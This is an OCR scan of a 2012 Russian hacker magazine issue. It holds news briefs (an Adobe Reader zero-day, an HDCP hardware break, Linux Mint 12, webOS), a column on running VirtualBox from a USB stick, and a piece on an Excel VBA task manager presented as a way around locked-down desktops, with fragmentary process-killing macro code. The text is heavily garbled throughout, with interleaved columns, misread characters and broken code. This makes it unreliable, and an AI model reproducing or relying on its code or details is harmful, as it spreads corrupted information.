направления , которые стоит посмотреть: появляется ли калькулятор

1) 2) присутствуют

-

это как

продажа огнестрельного ору­

жия. Люди могут использовать

его ДЛЯ эащиты себя или для нападения. В любом случае я сплю спокойно .

ли еsсаре-последовательности

« Тебе также понадобятся мозги.

Это конечно не модуль

Perl, но lacesarcer: lathegrugq,

помогает.»

лол, я уже не боюсь

«боевых эксплойтов». Я уже

Комментарнй:

Цитата из списка необходимых

удалил

Perl

calc.exe

со всех своих

11

laDeathStarPR: Siri, предупредительный выстрел по Альдерану. Я ска­

эал « ПРЕДУПРЕДИТЕЛЬНЫЙ

ВЫСТРЕЛ». Черт, проклятье,

Siri!

модулей для работы с s.qlпiпjа.

Когда вы пишете проверку под­

laLIomегSЗС:

Из-за

Клиент: «Я защищен, у меня есть

чить

IPS, WAF, NAC».

SOPA ты можешь полу­ 5 лет за скачивание песни

надел нижнее белье, не оэнача­

Майкла Джексона, что на один год больше, чем получил доктор за его убий-

ЕВ

ет, что Я не буду чувствовать удар по яйцам.

Комментарий:

SOPA - Stop

laаагопроппоу:

Опliпе

Piracy Act.

С этими

Законопроект, который развязывает руки ресурсы и их вла­

SCADA,

широковещал­

кой, медицинскими и спутни­

правообладателям и властям по воздей­ ствию на «пи ратские »

дельцев .

Ага, то, что я

ковыми исследованиями мы

будем ха кать как в фильмах в следующем году .

писи, проверяйте, чтобы то, с чем вы сравниваете ее не выда­

валось на

?debug=true. LOL

ЗАЩИТЫ-ВЕБА

#ПРАКТИКА­


~ СПЕЦИАЛИСТЫ ~~ДОКТОРВЕБ" обнаружили ЗЗтроянца из семейства Android.SmsSend BAndroid Market.

MEGANEWS

LINUX MINT 12

носр ВСЁ-ТАКИ

ВЫШЛА НОВАЯ ВЕРСИЯ ПОПУЛЯРНОЙ LINUX-СEiОРКИ

ДОЛОМАЛИ Напомним , что

Mint выпускается в 32-битной и 64битной версияхдля х86-систем и имеет

КОМПАНИЯINТЕLОКАЗАЛАСЬНЕПРАВА--­ АППАРАТНОЕ РЕШЕНИЕ ДЛЯ нВСКРЫТИЯ ..

HDCP

СОЗДАНО

весьма скромные

системныетребова­ ния: 512 МБ памяти

(рекомендуется 1 ГБI, 5 Гбдискового пространства и гра­

фическийадаптер,

поддерживающий

рошлой осенью мы уже рассказывали, что си­

стема защиты НОСР, разработанная компанией Intel для шифрования видео- и аудиоданны х , передаваемы х по интерфейсу HOMI, дала слабину. В сети тогда был опубликован мастер-ключ НОСР,

минимальноераэ­

однако компания

решение800х600 пикселеЙ.Дистрибу­

В

Intel заявили ,

Intel отреагировала

на это спокойно.

что защита вовсе не потеряла своей

тив Linux Mint 12ты

эффективности , так как производство НОСР-чипов

найдешь на диске.

с подобны м ключом

-

достаточно трудоемкая и затрат­

ная задача. Проще говоря,

Intel

намекнула, что тако е

аппаратное решение всё равно никто не создаст. Чуть больше года спустя ученые из Рурского университета

в Бахуме IГермания) доказали , что

Intel была неправа .: )

Немцы постарались упростить задачу и придумали, к ак использовать для обхода защиты достаточно недоро­ гую п'лату

Oigilent Atlys с

программируемой вентильной

аманда проекта Liпuх Мiпt выпустила новую версию своей бесплатной

матрицей IFPGA), поддерживающую НОМI и RS232 для

сборки, которая в последнее время обогнала по популярности даже

перепрограммирования. Стоимость все х необходимых

незабвенную

компонентов составила всего около $200 . Подробные

Ubuntu.

Linux Mint 12, основанный

на

Ubuntu 11.10 и

получивший кодовое имя

может похвастаться новым рабочим столом на базе

Gnome 3,

Lisa,

в который были

внесены некоторые дополнения. Кроме того, он поставляется с форком более

старой оболочки

Gnome 2, адаптированной для совместной

работы с

результаты свои х изысканий ученые обнародовали на конференции по вопросам информационной безопас­ ности RеСопFig

2011.

Gnome 3.

Кдругим улучшениям относится обновленный внешний вид с двумя новыми темами и новыми художественными работами. Найти новую версию можно как

на сайте Mint Linux Ilinuxmint.com), так и на нашем диске :). Кстати , нельзя не упомянуть, что внимание СМИ, так как, по данным

Linux Mint недавно привлек пристальное Linux OistroWatch, количество пользова­

телей, загрузивших

Linux Mint, стремительно выросло. Вероятнее всего, при­ Unity, который недавно в Ubuntu популярные среды Gnome и КОЕ. Он ориентирован на новые

чиной этому стал новый пользовательский интерфейс заменил

форм-факторы , такиекакпланшетныекомпьютеры,аненатрадиционные настольные ПК . Так или иначе, но в

Gnome пошли тем же путем при разработке Gnome 3, Linux Mint была вынуждена развивать Mint Gnome Shell Extensions для Linux Mint 12 и предложить более привычный рабочий стол в результате чего команда

с меню приложений, списком окон и треем для иконок используемы х в данный моментприложениЙ.

Я ндекс 99 НАСТОЛЬНЫХ КОМПЬЮ­ ТЕРОВ И 188 НОУТБУКОВ

СОГЛАСНО ДАННЫМ КОМПА-

ЯНДЕКСБУДЕТУВЕДОМ-

В РЕЗУЛЬТАТЕ СБОЯ, произо-

КОМПАНИЯ

НИИ COMSCORE, пользова-

ЛЯТЫЛАДЕЛЬЦЕВСАЙТОВ

шедшего в ходе обновления

ЛА БОЛЕЕ

с различными данными

тели в возрасте

озаражении их ресурсов

портала госуслуг,

былиукрадены у Министер­

за последний год стали

по e-mail, Ранее зта возмож-

деклараций дошли дО ФНС

поддержку архитектуры хВ6

стваобороныВеликобрита­

пользоватьсязлектронной

ность была доступна только

в нечитаемом виде. Восста-

и процессоров Atom в плат-

нии или утеряны за послед­

почтой на 25 %реже.

юзе рам Яндекс.Вебмастер .

новлению они не подлежат.

формеАпdгоid

12-17 лет

1 500

INTEL ВЫПУСТИ-

120 ИСПРАВЛЕ-

НИЙ, призванных улучшить

4.0.

ние полтора года.

012

ХАКЕР

02/157/201 2


СПУСТЯ 16ЛЕТ ПОСЛЕ ВЫХОДА QUAKE ВЛАСТИ ГЕРМАНИИ, наконец, разрешили продажу культовой игры.

ПОСТРОЙ СВОЕГО РОБОТА!

ИТОГИ «ПРЕМИИ РУНЕТА»

ДОСТУПНЫЙ КОНСТРУКТОР ОТ КОМПАНИИ EZ-ROBOT

СОСТОЯЛАСЬ УIII ТОРЖЕСТВЕННАЯ ЦЕРЕМОНИЯ

ВРУЧЕНИЯ ПРЕМИИ РУНЕТА так , подведены итоги конкурса на присуждение

Премии Pyheta-2011I ргеmiагuпеtа.гu J .

VIII церемония поставила своеобразный рекорд: было вручено 35 статузток . По традиции первыми были ' . названы лауреаты в номинации « Государство И общество » . Из рук Игоря Щёголева награду получили:

АНО «Модернизация » 'проект i-Russiа . гu J; банк ВТБ Iпроект«ВТБ - России»- www.vtЬгussiа.гu J; Российское агентство правовой и судебной информа­

ции- РАПСИ Iwww.infosud .ruJ. Специальная наградабылатакжеврученакомпании«Ро ­ стелеком » за проект«Госуслуги ».

Роботы , способные

Победителями в специальной номинации «Безопасный

распознавать речь,

следитьзаобъек-

.

Рунет», учреждённойЛигой безопасного интернета, стали:

компания Google Iпроект « Справочник подетской безопасностивинтернете»~ Фонд Развития Интернет Iпроект«Дети онлайн » J; Центр а.нализа интернет-ресурсов Iwww.NetPolice. r uJ.

том, интегрируемые

в iRobot Roomba и ктомуже про­

даваемые пота кой смешной цене, настолько пригляну­ лись покупателям,

что все наборы разо­

брали буквально за несколько дней,

Награды в номинации «За вклад в развитие домена рф» удостоились:

проект «Суперсадовник.рф»; БольшоеПравительство.рф;

и теперь конструк­ тора нет в наличии

на

ez-robot.com.

портал для детей и подростков «Вектор-успеха.рф » . В номинации «Культура и массовые коммуникации» по­ бедителями стали:

интернет-СМИ « Частный корреспондент» Ichaskor.ru l;

ы регулярно рассказываем тебе о различных интересных наборах

агентство гражданской журналистики «Ридус »;

« сделай сам » и сегодня просто не смогли пройти мимо нового кон­

структора

ЗАО « Сейчас» lинтернет-проект www. NОW.гu l; Российская газета Irg .ru l.

EZ-Robot Complete Kit от компании EZ-Robot. Этотсрав­ нительно недорогой набор, стоимость которого составляет $243, позволяет

с оздаватьдостаточномногопродвинутыхроБОТОВ.Вкомплектвходятбес­

Тройкалучwих в номинации «Стартапы года»:

проект « Карамба-ТВ » lcaramba.tvJ; проект «Будист. ру » Iwww.budist.ruJ; проект « Налогия » Iwww.nalogia.rul.

проводный контроллер, при помощи которого осуществляется управление ро­ ботом , ультразвуковой датчикрасстояния, три стандартных сервопривода, два серв о постоянного вращения и беспроводная камера слежения . В комплекте также присутствуют аккумулятор, различная сервомелочевка и необходимое

Лауреатами в номинации «Наука И образование»стали:

для работы будущих роботов ПО Ic удобным GUI, так что запрограммировать робота сможет даже тот, кто никогда вообще ничего не программировалl . Про­

Mail.ru Group Iпроект « Кубок Russian Code Cup»J; национальный образовательный проект « Умная-школа.рф»;

граммное обеспечение также позволяет распознавать речь, мимику и лица ,

проект « Живой словарь » от портала « Грамота.ру »

ж е с ты, цвета и даже некоторые символы. Через НТТР-веб-серверможно

Igramota.tvl;

ко нтролировать робота удаленно, посредством

iPhone, Android

или другого ПК .

П ож алуй , создатели не включили в комплекттолько основу- корпус, в кото­

социальная сеть читателей книг LiveLib.r u. В номинации «Здоровье И ОТДЫХ» победили:

р ы й помещается вся « начинка » . С другой стороны , это лишняя возможность

система онлайн-бронирования

п р оявить фантазию.

международная сеть доставки цветов

OZON.travel; AM F.ru ; портал оздоровье и медицине «ВитаПортал » Ivitaportal.rul.

Специальной « спортивной » номинацией компании « Ро­

PHOENIXTECHNOLOGIES ГОТОВИТСЯ К ВЫХОДУWINDОWS 8

стелеком » отмеченпроект « СпортБокс~

В ходе церемонии была официально завершена всероссий­ ская онлайн-акция «Народное голосование Премии Рунета

-2011 ». Звание «

ВSСТ2.2ДОБАВИЛИ БОЛЕЕ 60 НОВЫХ

ФУНКЦИЙ, ПОВЫШАЮЩИХ ПРОИЗВОДИТЕЛЬНОСТЬ И БЕЗОПАСНОСТЬ, УЛУЧШАЮЩИХ СРЕДСТВА ПОДКЛЮЧЕНИЯ И Т. Д. ХАКЕР

02/157/201 2

Народного лидера » в итоге разделили

сразу два проекта: « Легенда: Наследие Драконов» и World ofТanks. Всехдесятерых победителей, которым досталось зто звание , можно найти на сайте

narod .premiaruneta .ru .

Лауреатами в номинации «Экономика И Бизнес» признаны:

компания « 1С-Битрикс » Iпроект « Корпоративный портал » l; биржа удаленной работы

деловой портал

Free-Iance .ru ·

BFM. ru.

Статуэтки в номинации «Технологии и инновации» получили: интернет-супермаркетпрограммногообеспечения

« Софткей » ISoftKey.ru l; компания « Вымпелком»IБилайн~

проект «Хабраха~р » l hаЬгаhаЬ~г ~ ; социальнаясеть « Одноклассники~ компания « Ростелеком».

013


MEGANEWS

ХАКЕРЫ ПОХИТИЛИДАННЫЕ О 13,2 МИЛЛИОНАХ пользователей игры Maple Story. Инцидентпроизошел в Южно й Корее .

ЕЩЕОДНАУЯ3ВИМОСТЬОDАУ НАИДЕНАВ ПРОДУКТАХАDОВЕ

СКАЖЕМ «НЕТ!» И BING

ХАКЕРЫ УЖЕ ИСПОЛЬЗУЮТ ЕЕ В СВОИХ ЦЕЛЯХ

о Р2Р-ПОИСКОВИКЕ УАСУ

r~~

GOOGLE

ос л е п яти лет р аботы в п оте лиц а а к т и в ис ты дв иже н ия за с в обо д ное ПО пр е д ста в и л и ми р ус в о й н о в ый п роект:

р ас п ре д еле н ную п оиско в у ю системуУаС у I уасу.пеt ), котор а я в п е р с п екти в е д олж н а состави т ь ко н куре нц ию

Go ogl e, Yahoo, 13 iп g

Adobe

се рвис а в том, чт о о н р аботае т п о п р ин ци п у Р 2 Р, т о е ст ь з а х ран ен ие

Adobe обозначила

п о и ско в ого ин д екса и обрабо т ку п оиско вы х з апр осо в УаСу отве ч ает

уязвимость как

«U3Dmemory corruption vulnerabllity». U3D преАставляет собой технологию Universal3D и фай­ ловый фор м ат АЛЯ хранения трехмер ­

ных графических данных . Уязвимость заключается в ТОМ,

что в PDF-Аоку м ент М О Ж НО внедрить

вреАОНОСНЫЙ U3D контент, исполнение

к оторого в сис т еме

и п рочим коммерческим поисковик а м. Ос н овная фишка н о в о г о

н е ц е нтр а л ь ны й с е р в е р , а с еть н ез ависи м ы х у частни к ов , н а ком пь ю ­ т е ра х которых рабо т ае т о д ноимен на я п р о гр а мм а. Н ик т о из у ч ас т­ н ико в сети н е може т повли я ть н а ре зу л ьта ты , к оторы е выд а ют ся

п о за п росу п ользовате ля , или н а по р я д ок их о т об р аже н ия н а стра­ н и ц е. В сеть

Freeworld

м о ж ет во й т и л ю б ой же л а ющ ий, уста нов и в­

ш ий П О под GN U/Lin ux, Wi ndows ил и Мас 05 . П о сути, YaC y - з т о с в ое го р о д а ан ал ог с в о б о дно й со ци а льн о й се ти

Diaspora,

ко т о рая

пози ц ионируе т с я как а льт ер н а т и ва з ак рыты м ц ен т р али зо ванны м

се тя м

Face boo k, Go ogle+ ИТ.

П . Р2Р- се т ь и от к рыты й ко д гара н т и р ую т

ус т ой ч ивост ь по и ско в ик а и з ащ и щают е г о от ц е нз у р ы. Н а каж д ом уз л е создается собс тв е нн а я б аза п оисков ы х и нде ксо в , а пр о т око л

пр едусма т ри в ает возмож н ос т ь о б м ен а б азам и с др у г ими узлами. А в­

вызывает перепол­

т оры УаСу считают, что в ажней ш ую зада чу по иска в ин т ернете нел ь­

нение буфера.

зя д о ве ря т ь н ескольки м кр у пным ко мп а ния м , та к как э т о угрожае т

конфи д енциал ьн ости п ол ь зо в а т е л ей. П о дд е р жку УаСу осу щ ест в л я ­

eT ор ган иза ц ия Free 50ft ware F оu пd а t iоп Europe IF5FE). х уж эти мн о г ос т ра д а л ьные Ado be Reader и Ac robat! П орой скла­ ды в аетс я о щу щ е н ие, чт о о н и сос тоя т из ды р и б аго в чуть бо л ее ч ем п о лн остью. Ком пан ия Adobe

5yste ms по дтв ер д ила н аличие

--_...

",с.,'.м-к'

.

1!!JjJj УаСу. Dlalrlbuted Sf!erch Engln8

ружена BAdobe Reader Х Iверсии 10.1.1 и н иже) дл я Wi ndows и Масiпtоsh , Ado be Reader9.4.6 для Uп iх, а та кже в Adobe Ас гоЬ а ! Х Iд о в е рс ии 10.1.1 включительно) дл я Windows и М асiпtоsh. И з-за этой у я звимости могут

_.... •__ ~.'

. ~_ . _~ -

п а д ат ь пр о гр амм ы , к р оме того , о на п о т е нциальн о п оз в о л яетхаке р у по л у­

...

J: а, "'"- - - . ,

с-.

W':'WN _

.7""' .

- .- ..

-

. ~+

- ,......~

читьконтро ль на д системоЙ.Извес тн отакж~ч т окибе р преступникиуже в з яли на во о р уже н ие нов у ю

W<tb SlN(IWt

O~ ~w.~_o

~

незак ры той к р и т и ч еской у я з ви мос ти в у п о м я н у т ом в ыш е П О. Д ы ра об н а­

Oday. П о з аявл е н и ям Ad obe, дыр к а ис п о л ь­

зуется в ход е о гр аничен н ых це л е в ых ат ак. В качестве ц е л ей, в ероя т но, в ыб раны во енные п о дряд ч ики СШ А : и з начальноАd о Ье заяви ла , чт о об уязвимости сооб щ и л и г р уппы р еаги р о в а н ия в

Lockhee d Ма г tiп и MITR E.

Ч уть п озже ком п а н ия изме н и ла «показа н ия», И с тала у т ве р ж д а т ь, ч то

инфо р ма ц ия об уяз в имос т и п ос т у п и л а не от MITRE, а о т D еfепsе

5ecurity

I пfог m аtiоп Е хс hапg е - г р у ппы в ое нны х п одрядчи к ов , кото ры е обмени­

ваются раз в е ды вате льны ми данны м и п о кибе р у гр озам. П атчи д ля

и АсгоЬа! 9 уже вышл и, а в о т ис пр а вл е н ий дл я

Rea der Read er и Ас г о Ьа! 1О l а также

: =са

i[~

.-

.'-.--

...----

IЦ~;:-

для в е р сий п од Ма с 05 Х и Uпi х ) мож н о ж дать то ль ко в к он це ян вар я .

НАЧАТЫ ПОСТАВКИ НОВОЙ ЭЛЕКТРОННОЙ КНИГИ WEXLER. ВООК Т7005 С 7-ДЮЙМОВЫМ сенсорным зкраном и LEDподсветкой для комфортного чтения. Устройство оснаще­

но встроенной памятью

8 ГБ (можно расширить до 32 ГБ 2800

с помощью карт MicroSD) и мощным аккумулятором мА

ч. Новинка поддерживает самые популярные форматы

электронных книг, видео, аудио и изображений . Dтдельно сто­

итотметить поддержку формата ООС . Важным достоинством

011.

такжеявляетсяналичиеУВ-выход~благодарякоторому

GOOGLE СООБЩАЕТ, ЧТО

NОКIАИ ИНТЕРНЕТ-ХОЛДИНГ

можно подключить WEXLER.BDDK Т7005 прямо кУВ . Книга

КОЛИЧЕСТВОСКАЧИВАНИЙ

позволяет передавать на внешние устройства звуки изо­

HaAndroid Магkеtдостигло

MAIL.RU GROUP ВЫПУСТИЛИ СОБСТВЕННЫЙ БРАУ3ЕР.

бражение качеством до 720р. Для удобства пользователей

десяти миллиардов . Каждый

Новинкой планируется осна­

новинка оснащена датчиком пространственного положения

месяц в Market совершается

стить 27 моделейтелефонов

-G-сенсором. Ориентировочная розничная цена устройства

порядка одного миллиарда

Nokia на платформе Series40.

-3990 рублей.

покупок.

ХАКЕР

02 / 157/201 2


26 %СПЕЦИАЛИСТОВ ПО IiЕ30ПАСНОСТИ просматривают конфиденциальные данные, к которым у них вообще не ДОЛЖНО быть доступа.

WEBOS СТАНОВИТСЯ

ОТКРЫТЫМ ПРОЕКТОМ

КОМПАНИЯ HP ПРИНЯЛА РЕШЕНИЕ ОТНОСИТЕЛЬНО БУДУЩЕГО МОБИЛЬНОЙ ПЛАТФОРМЫ апомним, что компания

HP нетакдавно отказал ась от даль­

неЙшегоразвитиявсегосвоегомобильногоподразделения.

Однако окончательный вердикто судьбе операционной с истемы wеЬО5тогда озвучен не был , что , конечно же , породило

множество слухов и теорий. В частности, предполагал ось, что web05 будет куплена компанией Amazon или

Oracle. Также напомним, что

впервыеэтамобильная платформабылапредставлена компанией

Palm в качестве замены устаревшей Palm 05. В свою очередь, в пер­ вой половине 201 О года компания Palm была приобретена HP за 1,2 млрддолларов .

Но вернемся Kweb05. В с ередине декабря

Hewlett-Packard

наконец-то объявила о своем решении . Компания откроет ис х одный

код web05 и объединит усилия с сообществом разработчиков опенсор­ са, которые не будут платить за это никаких отчислений нр. Возможно, благодаря этому решению проект получит новое воплощения и зажи­

вет, наконец, нормальной жизнью. В общем-то, по аналогичной схеме сейчас распространяется система Android. Примечательно, правда,

ЧТО тип лицензии, на условиях которой будут распространяться от­ к рытые исходники web05,-GPL, В5D или излюбленный Мiсrоsоft ме х анизм

5hared 50urce-B соответствующем пресс-релизе не огова­ TechCrunch генеральный директор HP МегУитмен, компания также не исключает, что в даль­ рива ется вовсе. Как заявила винтервьюдля

нейшемзаймется производством новыхпланшетовподуправление м

web05. По ее мнению, это может произойти в 2013 году, так как в 2012- м HP делает упор на устройства подуправлением Windows8. В то же время, в середине декабря, Hewlett-Packard устроила запланированную распродажу оставшихся планшетов TouchPad. Аттракцион невиданной щедрости про водился на аукционе еВау, всекциидляотремонтированныхтоваровитоваровсоскидкоЙ . Ком­ пания действительно предлагала устройства, прошедшие процедуру восстановления, то есть не новые изделия, а, например, когда-то

или из демонстрационных залов магазинов . В одни руки отпускалось

возвращенные потребителями (зачастую внераспакованном видеl

только по два устройства. Девайсы расходились с ошеломляющей скоростью. Планшеты

(/j) webOS

HPTouchPad с 16 Гбайт встроенной памяти,

предлагаемые по цене $99, закончились уже через 15 минут. TouchPad с 32 Гб встроенной памяти стоимостью $149 продавались немного дольше, но , по свидетельству ритейлера , распродажа планшетов завершиласьчерез25минутпослестарта.Всегобылореализовано

7850 TouchPad. Единственное , что неизвестно, - как продавались ак­ Вближайwем будущем HP обещает представитьwирокой общественности обновленную платформу ENYO для разработки

приложений noAwebOS.

сессуары в комплекте (чехол, зарядная док-станция и беспроводная клавиатураl , цена которого составляла $79. Ажиотаж вокруг распро­ дажи был так велик, что в работе еВау произошел сбой, а в платежном

сервисе

PayPal наблюдались задержки с прохождением транзакций.

Инсайдеры утверждают, что изначально остаток TouchPad планиро­ вали реализовать среди сотрудников нр, но затем компания по неиз­ вестным причинам изменила свои планы.

ЗАКОНЧИЛСЯ КОНТЕСТ ПО ПОИСКУУЯЗВИМОСТЕЙ В ЯНДЕКСЕ

ОРГАНИЗАТОРЫ ХОТЕЛИ ОГРА­ НИЧИТЬСЯ ОДНИМ ПРИЗОВЫМ

МЕСТОМ С НАГРАДОЙ $5000, НО,

ТАК КАК ДЫР БЫЛО ОБНАРУЖЕ­ НО МНОГО, ПРИШЛОСЬ ВВЕСТИ ВТОРОЕ И ТРЕТЬЕ МЕСТО ХАКЕР

02/157/2012

015


IEADER

КОЛОНКАСТЁПЫИЛЬИНА

ВИРТУАЛЬНАЯ МАШИНА НАФЛЕШКЕ

есмотря на то, что я все больше использую разные онлайн­

трибутива

сервисы для решения многих задач, на флешке у меня всегда

что на этом этапе файлы можно еще и особым образом упаковать, что­

есть набор незаменимых рогtаЫе-приложений, которые за-

бы они занимали меньше места на USВ-флешке Iхотя при нынешних

VirtualBox

и извлечения оттуда нужных файлов . Интересно,

то за них это зачастую делают энтузиасты IportabIeapps.com/rul. В конце

размерах флешек это едва ли актуальноl. Жмем на кнопку «Download installation liles 01 VirtuaIBox» , выбираем разрядность системы Iнапри­ мер, «Extract the liles 'ог 32-Bit system»1и ждем, пока лончер сделает

пускаются без установки на любом компьютере. Разработчики сами часто выкладывают портабельные версии своих продуктов. Но если даже нет, концов, сейчас уже каждый может скачать замечательную утилиту

все свое дело . Чтобы установщик адаптировал пути под систему

Сатеуо Iwww.саmеуо .с оm lи сделать рогtаЫе-версию практически

Iпоправил нужньiе параметры в конфиге Vi гtuaIBox.xmll, бинарник

любого приложения .. Цель достигается за счет так называемой виртуа­

РогtаbIе-ViгtuаIВох.ехе нужно запустить еще раз. Вуаля

лизации: приложение помещается в специальный контейнер, в котором

поряжении есть полноценная

эмулируется нужные для его работы ветки реестра, файлы на диске и

систему .

т. д. Где бы оно ни запускалось, для него всегда будут созданы такие

В трее появится иконка

VirtualBox. Без

VirtualBox,

-

у нас в рас­

какой-либо установки в

с помощью которой можно

тепличные условия :1. Увы, виртуализировать таким образом можно

у правлять виртуальной машиной и дополнительно настраивать ее. В

далеко не всё. Когда мне кровь из носа понадобилась портабельная

го стевы х ОС по умолчанию работает и

виртуальна машина, на которой можно было бы запускать гостевые

гостевую ОС во внешнюю сеть lинетl, придется провести некоторые

ОС, оказалось, что ViгtualBox под Сатеуо не работает. На официальном

дополнительные манипуляции . В трее надо выбрать

с айте подходящей версии виртуальной машины не было, однако на

Network» и

форуме я нашел ссылочку на интересный проект- РогtаbIе-ViгtuаlВо х

Далее нужно перезапустить РогtаbIе-ViгtuаlВох и согласиться на уста­

и сеть. Но чтобы выпустить

«Settings ~ «Start VirtualBox with network support».

новку драйвера . Процесс организован так, что при завершении работы

Iwww.vbox.mel. Цель разработки

включить опцию

USB,

-

заставить

VirtualBox

работать без установки

с виртуальной машиной всё, что было установлено в систему, удаляет­

и запускаться откуда угодно, например с USВ-носителя. Интересно,

с я . Файлы гостевой ОС разумно разместить прямо на флешке вместе с

что утилита полностью написана на скриптах

VirtualBox. У

Autolt IBce и сх одники

открыто лежат в

bit.ly/rQOn7ZI, но из-за этого, правда, и выглядит не о чень изящно. Но главное-то - результат. Итак, скачива е м приложе­ ние Iy меня это РогtаbIе-ViгtuаIВох_v4.1 . 6-Stагtег_v6.4.8-Win_all.exel и запускаем его - программа предложит выбрать путь для распаковки . После зтого можно запустить РогtаbIе-ViгtuаIВо х .ехе. Все настройки

меня эта система одна, поэтому ее можно запускать сразу,

без дополнительны х манипуляций, указав в параметрах ее имя:

Учитывая, что виртуальная машина всегда находится не в выклю­

выставляются автоматически , исправлять что-то вручную Iнапример, путиl не требуется. Появившееся окно - это так называемый лончер.

ченн о м состоянии, а в режиме

Он появляется один раз и предна з начен для загрузки последнего дис-

роя. И где угодно. I

Here уou са п flnd the inslllllation flles 01 Virtual80x сап aulomatic. 11y download and

«Save the state», ее

запуск происходит

очень быстро. Поэтому она всегда готова к работе без лишнего гемор­

0 0 .

make some adjustments (ff you use this script downfoading Vi rtu 2l1Вox, on" make

the sellings and cfick ·"0 1("" ). ION:

OR Path 10 Ihe inslallation file 01 VirtualBox ,. ...

w7rww

,.., ОС: wnbws 7

Download installation liles of VirtualBox

-"'--

~_ 5 12 к.

~~,!Iжqo1 •

search

VТ"'-С/АЮ-\t

!'lI Exlract lhe ~Ies 'ог а знm syslem ~ Exlraс! Ihe ~Ies 'ог а 64-Вrt syslem

-

r:J Compress Ihe ~Ies 10 reduce Ihe siZe

EI Stэ" PortabIe-VirtuаlВох a1\erlhe eJdract andlor compress

(i ttoon'eIIII

Downla8ding:

'''rA_

""-

!h~~lDEn-OЛФЮlЮ): ~ (4]. 'Я")

Soa'AfWJO;

http://downlоаd .virtuаIЬох.OJgМrtuаl tю./4 . 1 .aNiтtu . I В ах-4 . 1.8--7471 ~Wi n .u..

""~.vd (or...м..Ii, 6. S9 rъ)

Bytu '"" 4 1043104 ОК

Настройка рогtаЫе-версии виртуальной машины

016

VirtualBox работает без установки

ХАКЕР

02 / 157/2012


Proof-of-Concept МЕНЕДЖЕР ЗАДАЧ НА

EXCEL

На кой черт может понадобиться таск-менеджер, реализованный стандартными средствами

Excel?

Хороший вопрос. Известному специалисту по информационной безопасности Дидье Стивенсу пришлось сделать подобную штуку, когда он столкнулся с системой, в которой было запрещено буквально всё. Взаимодействие с ОС осуществлялось через специальную оболочку, препятствующую

запуску большинства приложений, в том числе и стандартного таск-менеджера [через который ее легко можно было бы отрубить], да и локальные политики ограничивали его использование. Увидев, что

Excel

входит в число разрешенных для запуска приложений, Дидье подумал, почему бы

не задействовать встроенные в

VBA-макросbI, чтобы управлять запущенными процессами в

Office

системе? Подумал-подумал и сделал полноценный таск-менеджер.

КАК ЭТО ВЫГЛЯДИТ?

колонке

напротив процесса надо

Command

Declare f'_uщJi~QП рреJ1РГЩ~S ~S LJb dH "~~ (ElyViJl _ d\'JI;)~~s],redAcces~si!S

f'г:;iу;зt~

поставить флаг н у жной команды [например , тер минейту процесса соответствует буква t) и

(J.s Long, ~~ByYaJ,~~ blnh_~r:LtH;3Jldl.e 8s ~~

системе ограничен запуск таск - менеджера,

нажать на кнопку

ВОQJеал,

но при этом есть возможность открывать

ется реально полезная штука . Тут даже не надо

Ехсеl-таблицы с макросами, то управлять

фантазировать по поводу пентеста и ограни­

процессами можно через несложный макрос,

ченных окружений, чтобы представить, зачем

ограничений. К пример у, следующая функция

она может понадобиться. Вспомни хотя бы

выгружает процесс из памяти:

РоС представляет собой обычный файл

- TaskManager.xls.

реализованный на

Excel-

Идея проста: если в

VBA [Visual Basic для

приложений). Открыв файл, ты увидишь две кнопки: List processes [Отобразить процессы) и Execute commands [Выполнить команду) . Соб­ ственно, жмем первую и видим, как таблица

win locker'bI -

Execute commands. Получа­

prJy"t~e~ ~$u b ~J е~сm;iпаtеР roc~e 5 ~ ВуХО С ~~ ~~_ElyV;31~~ J,PToc~ssID Аs ~ LQлg}

Все макросы полностью написаны на чистом

_

~~ hl'r.oc~ss

ДЛЯ манипуляции с процессами вызы ­

путь к бинарнику, пользователя, под которым

ваются WIN32-функции из соот ветств ующих

запущен процесс, время создания процесса , а

системных библиотек. Нужные функции

также разрядность

вначале объявляются путем подгружения из

из процессов можно выгрузить, приостановить

DLL, которое

и, соответственно, возобновить. Для этого в

образом:

.,

_

•• :r1oc

~~_ ~ __ H

Iermif1gt~PC9~c:ess Jll'~9C~S~S, _ Ооs~еН_апdlе ~~ ~~_ ~_E гн:I

...

А

как в

. .. ...

5 C... m'Rd P,6U8 . . . .. 11_11

1 е

~:r~;::.:.o::"~r;:.:. l nOCU'_~IY_l.FlmQ.TI<.:. О. 1.r~cu.IDI

1SYtI... PIocml с_.о,

.....". --

",и_ .о Uи .

17111U!*_

10

~.ж.

1816Jf'PAOSP'3W11

11 ~"

EllCfLecE

ID1JFPfЮSP3\IмI

, "

,-I•

1t._ &bIk1HI" ' O ТО C1.At, llI•• cledl l It CM.T"_I"IO:-".1«1( }оТ,,_. УС>h:lи"",

I72NТALIIНOAfТY\S'S1VoI

TaskManager.xls в действии

~I""'"

IЩttlOl""" •••

lOeat.l~_"ЮUI_iJ.11I н ~~~~::-~. lJ!'14. щkeCl=~...... l1occcnш~

• .!L-J

02/157/201 2

TaskManager.xls

работает

так в 62-битных системах, отлично

Office 2010) и имеет цифро­

вую подпись.

Бери на вооружение лин к для загрузки :

~=_":::Х-'П1II

,f,

Простейший код на УВД позволяет с легкостью управлять процессами в системе

ХАКЕР

1IScIшI4, _tftr j

~_ rr 1»' 1 d • .ыll.lf. r1 0l • • •• rАсоо\Ul~_ - Sp."tlW(_'llIJ

IltБJf'PfIOS~ .НТAlЛНORlТY\S,sтa.

_Ж(I"1 0, .

32-,

64-битной версии

,b ' _ ', ТCП!f3I'лат. !lTOn:l) Q 1) n." GeHO""I .. ro ....tOCl"Ta_.TOIn'''U'..... O. O. l• • ~

Т! OpIUl. ... oce •• tobul

'_",,",'

If

себя чувствует в любых Офисах [вплоть до

о..'.....,..-..Н···

U81P'К"""

е

hProc_ess

SuJ)

Последняя вер сия tЧ'

_ .И~ Ь3U-ll19

)~

lProc.essJD)

hP~roS;es ~s._. 9 ~ Ihеп~

осуществляется примерно таким

~ "'.s

= pp.e!1I'.rocess~ ( ~~~~ ~ ~~~ ___ ~~~~_~~~~~

P'RQCE$S_JERMJ;r-JАПJ 3:1,

ЕПd_

.

~ __

КАК ЭТО РАБОТАЕТ?

VBA.

-32 или 64 бита). Любой

А_s Lопg) 8s ~ ~Lолg

После этого их можно использовать без

ет запуск таск-менеджера.

[название исполняемого файла,

процесса,

ByYal d\tlprQc:):d

любая подобная дрянь блокиру­

быстро заполняется информацией о процессах

ID

':kеr:пеJД.

Ыоg.didiегstеvепs.соm/20 11/11/30/signed-

taskmanager. Остается

только сказать Дидье

спасибо за классный РоС, который многим на­ верняка пригодится для решения конкретных

задач.

::I:

017


COVERSTORY

